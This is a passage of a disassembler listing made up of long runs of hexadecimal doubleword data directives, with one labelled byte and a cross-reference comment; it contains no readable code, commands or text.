0EF0BEDBDh, 0E92A1699h dd 115FACA7h, 4A17860Fh, 0AF7852ABh, 90F9BA83h, 32A66A27h dd 3DEC207Ch, 0B9FAF998h, 0DD084125h, 0C547BF18h, 0FF2C72FCh dd 0D61CB882h, 77AC2180h, 51FC6280h, 0FFD2AA8Fh, 0BBC5FBEDh dd 0FC4656C1h, 745B92Bh, 0CCAB84B4h, 0F3FE7D40h, 2B23142Ah dd 0DA3AF8C0h, 0FDFCD2AFh, 25BF6DCh, 67EB8EE8h, 72A0771Fh dd 0A94C80C1h, 45969F00h, 2C5EDEE2h, 6CCE1EBBh, 0ADCC0173h dd 80D1C233h, 0E983D074h, 95F47504h, 73D64F76h, 0FE5B5068h dd 4107419Dh, 109490Ch, 0A93B880Dh, 48E0E836h, 1A227105h dd 805DE848h, 0BFEC30C8h, 539800A4h, 0C74A4302h, 0EA48CC61h dd 3B1D2277h, 69998B5Fh, 0A98D9D2Bh, 5508AC62h, 9D310210h dd 50071C39h, 18F1C2D7h, 8BCC103h, 4A98AB74h, 0C16EBF19h dd 2A857F00h, 7A10B225h, 0BA9A832Bh, 4A3DC778h, 5D40EEE6h dd 9F664492h, 5FD53A4Dh, 790BBF8Eh, 0A5BD83A7h, 0B688FB0Fh dd 0F93EE1A5h, 2B0BC3Eh, 0BD01608Ch, 12C41CF1h, 9024ED20h dd 97B0077Dh, 9B849FBh, 40204F5Fh, 919A12F9h, 8E7C9400h dd 0BB669697h, 0ED064C2Ch, 484DFF13h, 0E28113E5h, 0E6A1A659h dd 0FD1220h, 0C4BA725Ch, 0B2C0D6F8h, 69E33D04h, 0A6AEE1FFh dd 4122B2AFh, 0F7A4152Ah, 2FC10837h, 3D21B220h, 4968901h dd 0E07AED7Fh, 0FA67209Fh, 0E45AFF02h, 77BF28ACh, 210AECDBh dd 70CE3E1Bh, 0D7A77321h, 5980AA1Fh, 0BE6ED6AEh, 7E1E5C07h dd 0BB8024CFh, 0DA72BC90h, 30A10800h, 515D8D8Fh, 5881010Ch dd 5660782Fh, 89BC2F59h, 895F6180h, 58E19585h, 0F0980358h dd 0BFA3E561h, 67CCA02Eh, 4C8BE260h, 0C81D91D6h, 0D98C0B61h dd 0FEB7FDh, 0B7583948h, 2F0A90A4h, 0A0988340h, 0E042908h dd 8B6E180h, 0AF800B88h, 0BE3BBBA7h, 0FAF4044Ah, 0BE030E4Eh dd 0B90099F2h, 2C93B8E9h, 0C9500A61h, 1402FBBh, 8D331660h dd 8182401Dh, 0A5F432E1h, 1F61632Eh, 0BF0E350Fh, 5F355F65h dd 984580BEh, 0F23A960Ah, 75ED4CE7h, 827A4A58h, 0F1951A4h dd 56A98F33h, 1923C03Eh, 7E0D0100h, 7153E4Dh, 8B906AB3h dd 0AA92DEF9h, 87C3D79Ah, 0AEB0CA13h, 7495F90Ah, 0F03CBA03h dd 7A39BA03h, 5E594DE2h, 136802FDh, 55564FD2h, 7F0051D2h dd 0DA42A367h, 4ABA2A78h, 1005FE4Ch, 152050D1h, 1F5B62D9h dd 0DFE5CA33h, 81C03522h, 4089D4Ch, 264C9481h, 0A7EAA240h dd 6FC9717h, 0A2D802DCh, 0CA611DCCh, 0C3886350h, 0D92E4E9h dd 0D66F5C9Fh, 0D28A3F1Dh, 83B89A8Bh, 4AE2855Dh, 0CF6BBFA9h dd 5F96290Fh, 0D283AE2h, 0EF5DAC0h, 5AC2C781h, 0C3D69734h dd 491600D6h, 2E90FD54h, 8B68C738h, 1ABB845Eh, 60BBE6B5h dd 0C20DCDB5h, 2818519h, 1D25535Ah, 52AF1207h, 435C9F2Bh dd 0B99300DCh, 0FB8A2E32h, 4AB8BF85h, 2B82BE0h, 2B77A6EDh dd 324B6509h, 0B18750CFh, 0F8A6E2h, 5D35E14Ch, 0A1044809h dd 44689F0h, 0A29CB4AAh, 0C4BDFB03h, 0FC502B75h, 0A6BE4A84h dd 0DBCBB017h, 0B627092Bh, 0D301B449h, 2D1F319Dh, 20152EBh dd 0E165FD68h, 8AE6BFh, 994E9F11h, 0ABAA42D3h, 0B28C7A1Eh dd 523632C4h, 0E69C7880h, 815B005Fh, 9E022404h, 8009403Dh dd 1A8DDCC7h, 95D25084h, 0F549347Eh, 508079C5h, 0C797BB52h dd 0AE4E4A20h, 696C2D14h, 0C54DD760h, 77C2A060h, 294C0C46h dd 60FD09B5h dd 0B2CB8A04h, 0E3996154h, 0ACECA92Bh, 0FCDDE6A9h, 0E3F309DBh dd 8A646C3Bh, 28155E1Dh, 6E8EF5C0h, 4489166h, 5ACBDED9h dd 0F3BE61h, 116DB508h, 1A85C70Bh, 24D35D6Eh, 0F3CDD0h dd 2CD4B823h, 89B70669h, 0A688F695h, 2CD321A2h, 0AB439238h dd 0F282DBDEh, 7B5F3DE9h, 8E45D01Ah, 0D1503E07h, 3041F31Bh dd 44C1110Ch, 3DC101CCh, 0E6710E8h, 0E24C0702h, 3C5A5803h dd 36EBE71Bh, 6408BC36h, 1B2CDC73h, 28295066h, 58188121h dd 5701139Ah, 0A1C01B12h, 31982BC0h, 6FFB344Ah, 673F2EB8h dd 4F158550h, 0EB6FAF04h, 0FB80A600h, 494FBBDBh, 0E69AF4A5h dd 625A4051h, 8207982Eh, 657111h, 9A542036h, 3C24E243h dd 8109AFF5h, 0A0447FACh, 0BC867E95h, 65B9EC80h, 744A3E28h dd 605CAB04h, 83C1F025h, 0B6205FDFh, 0D2034C39h, 211D1292h dd 8D3479D2h, 8ADEB50Dh, 0B858AD2Ah, 3D360BE0h, 980D06C7h dd 0AEB92B04h, 0B902A7ACh, 2587E1Eh, 90515D96h, 7D50DE8Ah dd 469A6980h, 6FF5C9h, 0ACEE16B4h, 5752D6FAh, 49209598h dd 8746CB95h, 0FA565E46h, 6BEB4ABDh, 78C0017h, 0E38ED0CCh dd 28864E0Fh, 4F00DF70h, 0CF6CAAADh, 5BAACAEh, 804892FEh dd 0B5BE04CDh, 0D15B0A24h, 1110810Bh, 0C859FB5Eh, 4E800D38h dd 7286488h, 0E6C55800h, 6F71B2ACh, 0F3660BF0h, 83026B92h dd 29000FF9h, 0A82C2D95h, 9BC486FCh, 30B8F133h, 0C41A996h dd 6ED7C92Ch, 80B64CEDh, 0CF3CFCA9h, 0CE9F507Eh, 0C28319F9h dd 31DA0C04h, 9829CAD6h, 0D7BFE8h, 231420F6h, 0F971D46Bh dd 0CA50893Ch, 5B6BEEh, 0ADD61F80h, 5C46B24Bh, 3020700Bh dd 0DFCF8102h, 0C0333E11h, 8BBC23AFh, 0FC8C3E8h, 2FB8ADA1h dd 12E8F7A9h, 46A7940Fh, 0E216077Ch, 0A1EC82ABh, 845F061Ah dd 0FDD2590Ch, 9BF6257h, 3BFB3668h, 0DE9D6314h, 0AC737EC7h dd 27235580h, 48A08B0Fh, 0B9E3BB50h, 216FD526h, 0FD33AD89h dd 61E1C2CDh, 6A9D96F9h, 60504243h, 9684F2B1h, 0EC834009h dd 0FC62BCA0h, 1AE116EBh, 0DFD7145Ah, 82138828h, 283D0BB8h dd 0B3C482F3h, 4E0910B0h, 59F34423h, 1189212Bh, 769F4D0Ch dd 2732C068h, 0F100A057h, 0DBBCC7DFh, 5C0B3DCAh, 0B3C02E45h dd 0BE7E8C66h, 13C69700h, 0AF07C51Bh, 5F92340Eh, 53E4BBDAh dd 0C930008Bh, 0F02D774Fh, 1905B894h, 5939C1F8h, 0B780BCC5h dd 255AD78Bh, 3A006158h, 17B59D29h, 996EA8D0h, 23291DCCh dd 2D59509h, 0E0BF6D7Fh, 71673DCEh, 52250A05h, 3630A776h dd 8410ADBDh, 0A20B7529h, 2202D11h, 0B8606844h, 79522F5h dd 0F64CBFFCh, 2D391047h, 0A1076127h, 0DB120F55h, 784BC0D4h dd 0F894DCD5h, 3AF70381h, 0C612C2B1h, 6BFB244Bh, 0E25F0014h dd 9589FC80h, 440C4A4Dh, 1C1E4906h, 0BA0F4A22h, 30BB9E40h dd 0E53814Ch, 0FFF31FE9h, 0AF02512Bh, 5BDA0771h, 8501C10Bh dd 753442B9h, 810089D9h, 0FAFED7F3h, 9B69012h, 65E42AE6h dd 5B75BB42h, 5D9C5879h, 0FE6D2A05h, 0DFC13263h, 4CABF8DCh dd 385F79DAh, 0E33780C6h, 5CC146Bh, 18F77DAFh, 0F109E66Ah dd 8640835Fh, 5F18ADF3h, 4FC3506h, 2021173h, 0D305C083h dd 5C1770C2h, 3A912C30h, 3C2AAE3h, 7FBF9029h, 0B68E7815h dd 3B0A44h, 0B0E79F40h, 5B97F947h, 593C5658h, 6BD88F19h dd 802F3790h, 0FB0F25B9h, 756936A8h, 0EF1F8144h, 0EA58A42h dd 81E0B5D7h, 0AD8486D6h, 95D720C1h, 89441B4Fh, 0E2EBE6F8h dd 0B50109FBh, 8DBB2785h, 0F3937814h, 0FEDA2653h, 0FAD112F0h dd 5CEE3C9h, 8218DF8Ch, 7D026AFBh, 3D588053h, 9F3900D9h dd 81486926h, 9D12337Ch, 0CCBA0DC5h, 8C00BA3Dh, 0ACF80A72h dd 0EA5DDCh, 0F1680D93h, 0B390D217h, 7AFF448h, 21EFEE14h dd 610D969Ah, 6B36482Eh, 10E8F90Ch, 0B72EC557h, 0DF00418Bh dd 18204A22h, 0C46505EDh, 0D5AB825Dh, 938F1F4Dh, 4CCAAF0Eh dd 24ADFD10h, 7C60A160h, 67384Eh, 0EFE05D82h, 1DBD33E6h dd 6141213h, 208D4B9Ch, 50503465h, 2540BDE0h, 289D905Fh dd 96E18E49h, 7B02DCCFh, 0E8ACA4D3h, 6043C150h, 4B258D1h dd 45593186h, 0AB3E6B00h, 3F560Eh, 675A6850h, 8CD25DD4h dd 1C018A09h, 254A5F4Eh, 0CFC3A4EDh, 0D9D590F9h, 80B3B1E1h dd 695D5572h, 1E001915h, 3DD322DEh, 97B1329Ah, 0A681F032h dd 2E758BCBh, 9EFBD652h, 607F8F3Eh, 8509CE7Dh, 0AE2C4F1Dh dd 201F2E65h, 6A3E3010h, 0DE1675D9h, 0C9A00B61h, 4D5F8E29h dd 14C96059h, 0C602D41Ah, 0F8827802h, 0C4F75C74h, 86F55852h dd 0F901972Eh, 10A5DBDh, 0E3F870E6h, 0EF8916D9h, 0E170881Dh dd 0CF98F000h, 71E4D87Ah, 0CA4C1CBBh, 0F5C9E5C4h, 0B05FA923h dd 0EF0A0FBDh, 6E9A80E0h, 46820FAh, 0DEC7E4Ah, 7300BC3Bh dd 0B1118222h, 42EE80E7h, 3C73C677h, 0CAEF1407h, 79195F57h dd 589C2016h, 824B92DAh, 0D1D55010h, 0BF5B138Bh, 0F9BD0D80h dd 38C88910h, 1B3C908h, 26759D75h, 5DD1CE52h, 66F88752h dd 793CC600h, 84A9E3FDh, 0CA0F058Eh, 0CA28E9B9h, 0ED7B00FDh dd 937F6036h, 0C4DF870h, 0A2ADF778h, 7406D62h, 4042965Bh dd 0BE553DC4h, 0DAB13C02h, 0E0AC4C15h, 8209D570h, 81001F5Ch dd 9B1CF7C7h, 2C12DC7Fh, 78DF07FDh, 8D092052h, 999723B9h dd 0C3141528h, 5843985h, 9B2255E9h, 254CCC82h, 12FFF5D9h dd 64FA5550h, 72B16400h, 7EFBF5BDh, 0E2330013h, 0DD76680Ch dd 6F09599Dh, 796ACF88h, 0F231142h, 8A8BF780h, 0FE122BA5h dd 5C728BF0h, 724193BAh, 30F13D41h, 0BFEB8000h, 0AC34B097h dd 4F849809h, 7C6FFEFCh, 631EA400h, 0A3234C12h, 2A6DDE0Ah dd 2909CBF5h, 6B557920h, 6440346Dh, 23ABAB0h, 0B980A58Eh dd 0D3D50802h, 941778CAh, 4A8DAA02h, 5EDE8BE1h, 584D2349h dd 8004F0F9h, 0E6052AE5h, 1CB90A81h, 504CBC04h, 6009FCABh dd 0D25D8589h, 0A99D256Dh, 0C02BBB22h, 62DCE05Eh, 10A14A69h dd 0D7CE1809h, 4BCC0070h, 6C376753h, 977A18CAh, 64960C25h dd 0D7650039h, 7F799EDCh, 0ED077AF2h, 7D1197FFh, 43AE5C90h dd 348FB0D6h, 87D36185h, 9CA6080Fh, 8CC2606Fh, 1233DC1Ah dd 0F3894075h, 0CF81C07Fh, 4A9D1271h, 0C6BFA2Dh, 0E1D85877h dd 5A17CB02h, 7F5E79CFh, 94BB6640h, 808F9954h, 0DE9A9108h dd 481CE4C6h, 0CA6B5B2h, 21190E04h, 4B7691F3h, 3A56CDD8h dd 25ACD3FDh, 0C520F7Dh, 1072291h, 0C1AA60DBh, 2F3D9AF6h dd 40437E2Fh, 0C780EDF0h, 2E01B74Ch, 0C5A5A285h, 25E1150h dd 8620E0BBh, 0BB8F7A4Eh, 0ADE17875h, 0A6FA1C16h, 20B869C4h dd 52E8CAh, 0AE5DF8D1h, 4E00E912h, 0DE6E3643h, 133ED472h dd 2568C5Eh, 8B0F5256h, 55883759h, 0FF5F0431h, 0D9AB82E1h dd 0DF51095Eh, 4CF78110h, 4B88103Fh, 0E721DE8Ah, 8A1817F9h dd 20BA9617h, 388ED9C8h, 45800F79h, 0C93C36D1h, 0D0B932D3h dd 0E2B9E380h, 0EA078Ah, 0BE1BD6D5h, 8501FAAh, 0F112377Bh dd 0DAE25F94h, 89A95D8Ch, 4ADB527h, 0C681604Fh, 0EC6A2C25h dd 6EF6D2E6h, 0E98FCCA0h, 29708E3h, 0BB4937BAh, 0D95CA9F5h dd 89810F25h, 0EBC1727Fh, 0B876AD14h, 88D8057Bh, 4E0E4DEh dd 1230E5EBh, 4A0BA3h, 27FBBB77h, 19973361h, 0DC6C90B1h dd 92B7409Eh, 0A9F1A207h, 0B89C8A01h, 0CF8F0267h, 505F4580h dd 0BD316090h, 0C899697Dh, 0E461CF09h, 25DC9DFFh, 3985FD25h dd 55E2AA57h, 0ECE95B38h dd 60366D7Fh, 79EAA3CFh, 0C0D3A4A0h, 61A2AF5Ch, 1F03FF23h dd 3F91074h, 9CE2BF50h, 4DC624D8h, 2FC5E8FBh, 0DC60C1F1h dd 61F66BB9h, 0F2DB2A4h, 59144685h, 98BC2158h, 0BCAC282h dd 9DFAEE91h, 7ED8D4h, 1C3C3B21h, 0C95FB17Bh, 52040B8h dd 21A970Bh, 0FC70595Bh, 24227E9h, 8427B7FDh, 8C27CF5Bh dd 2A0075D0h, 6E3A9AB5h, 76DFED5Ah, 66FD00A3h, 3D8F60A6h dd 1D9050FEh, 8B5BFF09h, 0AB117BDFh, 36EC5885h, 5116A109h dd 950A78F7h, 81B80D3Dh, 368A6B29h, 162FD1E7h, 0C038DE03h dd 0BD016EE2h, 0DC0C4B25h, 8979FC20h, 4BCC9Eh, 0D7E0F501h dd 96320931h, 3BD1CBF2h, 4987B100h, 274CB8EBh, 54607741h dd 0FC9123E1h, 2E965246h, 4940446h, 0E34D98Dh, 1249C42Bh dd 8B025049h, 0C4D8BE2Eh, 0DE4B8BEEh, 0F6FBD894h, 0CE5FF0E6h dd 0ECD50208h, 0AC128332h, 1614D940h, 64762D35h, 0DC57DD2Dh dd 2B3590CBh, 0AA730034h, 8133C872h, 4700FD35h, 0B686683Ch dd 12F49EBBh, 205B5408h, 0E434BFF1h, 0F26A1324h, 0CBECB841h dd 816F3E0Dh, 47400072h, 4A9B64C9h, 0BB041A2Fh, 3ACAF404h dd 182188C1h, 0C857776Ch, 0A43FAE4Eh, 0EDB50F00h, 0A17723C0h dd 0EF031490h, 28A73D7Eh, 48EF990h, 3424CE73h, 306016A6h dd 0D83A39Fh, 0E6DAD81Eh, 0C4FE9482h, 0A0715DFCh, 6DBE5E00h dd 27487110h, 355D9061h, 0B6668921h, 19B94582h, 75CAFC04h dd 623FFE4Eh, 61E6980Bh, 0BCFF7884h, 0C8A0B44Ch, 88514F30h dd 88003E7Dh, 0E1B4A0F4h, 25015E0Dh, 43C51568h, 75ADD12Ch dd 48003AB7h, 0CB0BFB50h, 0C9A60971h, 0EADFF895h, 8F2AB7F0h dd 0F28F2EE4h, 9AD5C6E1h, 646B50DAh, 2B00A31Eh, 0E03B352Fh dd 975D7E9Dh, 0D672529Dh, 0B100DC0Dh, 0D1DE7FB5h, 9D4D6739h dd 8FC3BDD6h, 0B1FC8D0h, 9D63005Fh, 90C8A9CFh, 0EC045043h dd 5BD368DFh, 0ACA36EBCh, 6EFE884Eh, 88F90E67h, 892880A9h dd 0C22C6995h, 19B59D5Bh, 73716C74h, 2E9865AFh, 1412DABFh dd 4CF6393Ch, 1059B509h, 20AC467Bh, 251F4508h, 0F242EC6h dd 0F0C1FF83h, 0BD2E963Ch, 835C00A1h, 15755694h, 7F81009Dh dd 9543C30Ah, 21002C4Ch, 616051E2h, 0C9505B5Fh, 0EDFF960Ah dd 0A035605Ch, 0C105E96Fh, 0DA8B9C3Bh, 0D19E7716h, 1F63092h dd 1A4A199Dh, 0E2DA314Bh, 61195C47h, 195BF952h, 0ACCCF92Eh dd 0ABDA1927h, 2FF962CAh, 7DDB2534h, 50DDEFD2h, 12905A20h dd 0F314F080h, 6BBA4E49h, 5DCE0ECCh, 7BF76B14h, 0F5BD0410h dd 25E1120Ch, 30D6AB3Ch, 0C7F25A2Fh, 0D5F81907h, 0F120EA5Ch dd 317622BBh, 507C3107h, 0F05D6620h, 41D9115h, 8290E14h dd 4B3AE826h, 0FD3B208Dh db 1Dh, 0ACh, 54h byte_544547 db 75h ; DATA XREF: ___:off_445258o dd 1E1D048Bh, 0BCB3AA3Ah, 56E6D33Eh, 0D6E87BE3h, 0E01426F4h dd 2296CCDEh, 165A9E01h, 0FA430B60h, 6CA971C2h, 0C09C4D7Fh dd 1142F860h, 9A63622Fh, 31CD9BFh, 160B98ACh, 777FE490h dd 5B9E5D54h, 0D9099674h, 0D18D0F50h, 7F624009h, 70E09E65h dd 3B4A3F01h, 0A6B3968Fh, 28B2673Bh, 4B8D44ADh, 8119CC08h dd 4945DF04h, 542C2F8Ah, 9BAF3CD6h, 60DC8065h, 985722A5h dd 0DDB6F259h, 8B93FDD6h, 911C88C1h, 5316231Ch, 0CC1CDF02h dd 5054605Ah, 0FA8A3A56h, 5FCA96A8h, 25968C8Ch, 0DB410B41h dd 61021841h, 47D61074h, 0FEFC4F1Ch, 0D5A69507h, 0D582797Ah dd 445E134Dh, 46860FE2h, 80600E1Dh, 43B438E7h, 4B2EE3D6h dd 76F2D8Dh, 0A229D779h, 375E2B11h, 0BF103F71h, 0B225A88Ch dd 9F29EE09h, 0BB020335h, 0FBC6A4B7h, 7EFA0060h, 66BD3D1Ch dd 0CA4FE618h, 4B4072A2h, 10ECB5Bh, 0F3E974B3h, 75C6FFF2h dd 0CE5848DBh, 0FF9F0BC8h, 97F898A9h, 0E7C3624h, 7F4E1227h dd 249627Bh, 0FA08997Dh, 11204455h, 54E44D1Ch, 0E958012Bh dd 7C809740h, 7C80FB0Bh, 0ABE2E300h, 0D0CDF867h, 0B5D3034Ch dd 9EAD3AFEh, 0B89C1FF0h, 86FB0A03h, 0E0E8E582h, 0FD2FE69h dd 0B2D453D7h, 0E75A37A0h, 2E038B46h, 0CB0855E8h, 0D6F4B8C1h dd 86F0DFh, 6EF10984h, 41DE225Fh, 3C4C3F00h, 60D35CCFh dd 53F00092h, 2A6364E3h, 80F2B612h, 0C2B9CB00h, 1994B5CAh dd 0A576E1h, 2B6264A3h, 0AA4C78E7h, 0FD009C7Ch, 1A91BFCEh dd 0CF5818h, 0AFB0C8C3h, 80B3FCA2h, 3F035FC3h, 0B564031Bh dd 68232F5Eh, 0F447E0D8h, 0B0F23C0h, 0B7324909h, 1700FB63h dd 0FBCFC6C3h, 6CE9D97h, 68C9C1BCh, 0EB001FD6h, 0D8081D8h dd 3736BFDh, 0F286583Ch, 0A7803B5Fh, 28C03994h, 2E92B2Fh dd 41EF02EBh, 5D859537h, 5B80CA5Ch, 6366567h, 5B9A60A7h dd 8C9FF699h, 0D0CBFD03h, 0B970BE42h, 0EE808594h, 7DEE1E8Dh dd 66000130h, 0BE82AC0Fh, 91EF989Ah, 67C50FDCh, 4C0437C0h dd 0EC00B14Dh, 2FE52B44h, 1EBFC09Fh, 0C42BDCEh, 0ED726056h dd 91BE6905h, 0CA00E414h, 0B63F4D12h, 9826FE8Fh, 0A5C90043h dd 0C3BECA95h, 9250B4CBh, 0C800A7A9h, 0DAB599A1h, 27394B3h dd 5769F63Ah, 0F68014D6h, 5015A9Bh, 16728A00h, 314ACEF2h dd 0EA5918C6h, 17697CFFh, 0F1BAC400h, 3C20D971h, 8B0C01F6h dd 4D404118h, 0A190EC3Dh, 5E228EA8h, 807D400h, 77F66595h dd 15250658h, 25CA79A6h, 0A1C54900h, 17AD3E4Fh, 0FA3C67BEh dd 2D5E9370h, 44743190h, 7232C000h, 0A9A1DCEDh, 0FEBB00D6h dd 94FB18CEh, 9B00388Eh, 7B365574h, 1628B7h, 0AE2A195h dd 5D412B18h, 37522D0Eh, 9ED6C07Ah, 3C545EEh, 98A157F6h dd 8A00ACA9h, 0D0EC262Ah, 146B824Dh, 0E4C8D16Fh, 0D56CCD15h dd 6867EB00h, 0DE960535h, 73C613Fh, 50B4C4BFh, 0BE6A1980h dd 0ACA70074h, 0EBDD9F1h, 8D774276h, 0DF750400h, 3E4E3F40h dd 0B35801DAh, 631E2D5Ch, 8C01C09Fh, 0E503F190h, 0C4039EAEh dd 268F89ADh, 440F4120h, 82CFA542h, 67180C7h, 1D9A8C09h dd 0C1B12DFh, 24C8EBAFh, 0E018CCA0h, 38739F1Ch, 0D43B5400h dd 0F1B96B5h, 0EAE56417h, 597D425Fh, 404851DBh, 0A449A607h dd 8D129D6Bh, 10296649h, 4678757h, 431A316Ch, 0D80FC047h dd 15006A5Ah, 780B8F3h, 82C128h, 7E060A87h, 45E2196Fh dd 0DC620503h, 0A99AFE49h, 2AF086F1h, 55E40082h, 4B7AA5A9h dd 0A2002656h, 1289BB50h, 36F910Eh, 2C9F0C3Ch, 2F03B083h dd 0C8C54F33h, 78110077h, 504D7C03h, 0D60B3DC2h, 0EE695B7h dd 250EEC9Ch, 22730085h, 77980B49h, 7C00ABCFh, 0DE3A524Bh dd 48039C54h, 0ED027B01h, 7EA8A0DBh, 575256E0h, 0D73EDD00h dd 0FD4CE944h, 764EC79Ch, 394B0212h, 0CCB0F843h, 8B14A89Ah dd 6AB532Ah, 9052E14Eh, 6DD1052Ch, 4027C4A7h, 9E1B69A1h dd 0B0043F1Fh, 2B2DE788h, 2D7C1C3h, 0EC81608Ah, 0C4A7F043h dd 0DCD9D073h, 40228ACh, 0CC4AEBE0h, 25A58090h, 562921h dd 8858234h, 0C66794F0h, 887B0B61h, 6E4B6084h, 2615920Ch dd 0D900BD29h, 2E5DB45Bh, 1B9D611Ch, 0D28EEB31h, 0FCA0528Ah dd 0CBC6C198h, 5B8AB350h, 1F658000h, 336E9DECh, 75BF061Bh dd 0BA3EED4Ah, 2872D324h, 0F6DAB00h, 624282Ch, 4A19AEEh dd 4E071535h, 1796A6CAh, 5A1313ECh, 1D1CAC4Ch, 17F02E8Fh dd 1B88AC90h, 12673273h, 6463FCB8h, 1052906h, 0A37A2Bh dd 1B618041h, 192875E0h, 0B69AA1A8h, 0E2437C05h, 9C026A20h dd 874675D9h, 81FAFFA5h, 0FDB0DF03h, 11D0F7CDh, 0E20A1Fh dd 0C2969BBBh, 0D9EB7430h, 0C15EA200h, 7DBCCCBFh, 3A6F60C3h dd 0B5688FC8h, 1C99B600h, 54477916h, 29580027h, 8AFABE74h dd 0FE070D7Bh, 51ADF583h, 6EA6A950h, 0DF2900A4h, 544FCD0Eh dd 8101FC0Bh, 0F0126D9Dh, 0F0404446h, 1443B215h, 0B4EBFA2Ch dd 52B7C100h, 0C84C45F4h, 798E4428h, 0DF314700h, 46CA49D9h dd 0F4294836h, 7A013h, 7FF56656h, 0B3772B89h, 6BEF1F01h dd 0AC1B4DB5h, 8477F8h, 0F80ED9Dh, 97D649A0h, 0D077600h dd 0AD712C5Eh, 9D106032h, 0F282B9F4h, 5341F803h, 0A8D3D004h dd 33E265h, 0E09BADDCh, 0F1106F1Ch, 88CBC09h, 78D9000Ah dd 1C85D340h, 820CE95Fh, 66E03274h, 8C71D6E4h, 8467A638h dd 497B0434h, 2925CE80h, 15E3D6Eh, 0EE718900h, 0D5AAA2DFh dd 0C3FBB600h, 0E7178EBCh, 306D0098h, 57464718h, 89E61F27h dd 0C74F81F8h, 0EF835847h, 60FFE96Fh, 0FD8F5F96h, 14505CD4h dd 1505E089h, 63052D28h, 0C892387h, 0E3A053A3h, 2AA9C381h dd 1C87D8EBh, 570827D8h, 0BC6C0EBFh, 0F0D70618h, 0B0F42B3h dd 0A595863h, 5F1207F1h, 1C26F610h, 835B2489h, 0AE5BD372h dd 817BC71Ch, 0F80FB2Ch, 438F1E77h, 6D0087Ah, 7C8B300Ah dd 0FAE18951h, 112BA2C1h, 4C8D8706h, 9494FF5Ch, 70EC48Ch dd 0FBBF3DE9h, 679520EFh, 3DD0A99h, 0B8A7A149h, 0D003C106h dd 0E0FFC503h, 332CA0D7h, 0E234006Ah, 6EC1F609h, 26737D32h dd 28B83A00h, 0FF9E4ACDh, 2EF0F50Eh, 0D01B04E3h, 0FF32B340h dd 0DA4F53A6h, 0D2388067h, 19155BFh, 6690618Ch, 6E78D0BBh dd 0BA0A6E30h, 0DDD7022Ch, 3D7E7D34h, 971578D5h, 2FD624FCh dd 0DF425DEEh, 4F250D76h, 109F4024h, 6A4FDE21h, 8ED820AEh dd 4400CCDBh, 0F9FA91E8h, 28417B8Ch, 28986684h, 2DC2C394h dd 0D24217B3h, 78DCE6D4h, 2DC536EAh, 7520CE4Ah, 53902D09h dd 5B87B0D7h, 0FB8B3F50h, 10ADFC32h, 0F097F823h, 396F70h dd 842759E5h, 0C6C249FCh, 80C5D05Ah, 0A8E0ECB6h, 84976052h dd 610923DCh, 44A74DFFh, 0B0F601Dh, 8E5B00EFh, 0FA819EF4h dd 68A86049h, 0AF00F3F9h, 0F7528C9Ah, 735633A7h, 0D9CB008Ah dd 0F3BA35CFh, 5C3EC0D7h, 46DC2D61h, 4F8977E9h, 0FF05C0E1h dd 852501D1h, 7E70E265h, 153D51F0h, 0F30FB6B2h, 9A03C12h dd 4F8EC480h, 6AD0E200h, 0F7816602h, 0D5F550DBh, 3F0C4119h dd 234FC8E8h, 1EF9E5ABh, 20ADCC5Ah, 91D96502h, 0D4F19D8Bh dd 26EC2D60h, 4752E92Dh, 0C39E09A1h, 46E6DDh, 4103C8Fh dd 4D4FFF55h, 0BCF08502h, 76B9C752h, 0AC71DCAEh, 0AFAED000h dd 0B589292Fh, 3F2041D1h, 0D9BBB230h, 7B450E15h, 0FCE05690h dd 5F7DC62Ch, 0B0F507Eh, 0D2269541h, 0E3E088B6h, 9D102395h dd 86621041h, 147508A1h dd 4CB32D64h, 54B7714Ch, 34B6D493h, 8D9E48C0h, 603E04F6h dd 0BC07CE80h, 0CDE780DBh, 0EA11415Eh, 1614802h, 871BC703h dd 0B589FF6Ah, 0B0162B1Dh, 87809CDBh, 26BAC4ECh, 31B5DE73h dd 0BF082C74h, 0B00A6A1Ch, 8D9D3102h, 9273D40Fh, 0C1E0FC03h dd 71E4FABFh, 88FF202Ah, 5C008CACh, 8F045273h, 0C35B0511h dd 4839EBC6h, 317CA9B5h, 0BD2933F5h, 538C2BF5h, 0E880C8B6h dd 5B88CA5Ah, 1D852D31h, 5EF9B009h, 36EF8100h, 0B576F9B4h dd 60A45C08h, 0E8D2E1B3h, 65DF9F04h, 48EAC82Bh, 30AF6967h dd 1C46BF66h, 20AAE9E4h, 6BBE89FEh, 79C95296h, 0D296D8h dd 0CF0227F7h, 5F0C1164h, 8858B17h, 5AC58CC8h, 34581E5h dd 736EC79Dh, 95010212h, 426CD631h, 45D41235h, 0E6FF2A64h dd 0EA007FD9h, 0CEAC8264h, 1570C5Fh, 849AF7EFh, 6B51E9C1h dd 6A340370h, 0B5880235h, 58EDA70h, 0A8C65FF8h, 9103FF8Dh dd 22B78740h, 3702C0F2h, 8A16FB21h, 51A2AE26h, 0FC172022h dd 93B48589h, 26A55083h, 9D2B12FEh, 2949BDFDh, 0F8168795h dd 0D104EA6h, 6A906537h, 0E0F7EAB6h, 0F085A9Bh, 44FEB72Dh dd 0FCEC00BFh, 0DC5D8691h, 1A004A9Ch, 4E3E442Ah, 0B45CC0Ah dd 0D01355B0h, 0E1A65E53h, 61A509D6h, 10596EC2h, 0D650AD00h dd 578BA8h, 0F4805964h, 6FBFDD38h, 0E801DE0Fh, 0FD9C9E4h dd 7D754087h, 0B50FE5B9h, 4DE2576h, 38156E4Fh, 20F8E894h dd 7C899F22h, 1671C67Bh, 40F55820h, 0BD2E0B2Fh, 0FC8B0FA9h dd 2B0AE0F9h, 20DA90C0h, 899F2D79h, 0F49E761Fh, 27E18E00h dd 0B2584EDCh, 4EE49757h, 0DFD4D900h, 0ED3C3A80h, 2DE300A1h dd 4EF3C284h, 400B2765h, 515F14CBh, 6F0CEA4Dh, 988BFB60h dd 0CA3C68A0h, 44E1E0Ch, 84894F80h, 734472EEh, 4E5D90C6h dd 0D3C1A299h, 0C24D8FABh, 0F955036Ah, 7BFF007Eh, 1372970Ah dd 0C09D1A95h, 0F80C776h, 0BB6175E3h, 489D9402h, 0B8685DD4h dd 0D40C3509h, 2C905EB3h, 9D137120h, 698020DEh, 0CCD11BBFh dd 4DF61DFAh, 0BC80B46h, 3B442751h, 0EFD48949h, 928F949h dd 82429509h, 0DD2BB25Fh, 0A258C5FBh, 0BD30015Fh, 0F960E1FFh dd 4286A61h, 8D2988D4h, 0F90E0525h, 34DCC4E2h, 0FAA8E1E9h dd 0EBB09B04h, 0DEFCBCD1h, 5D5D78A3h, 3938B8BAh, 5E931FC2h dd 0E99BBB46h, 82A06984h, 0BD5FFB1Dh, 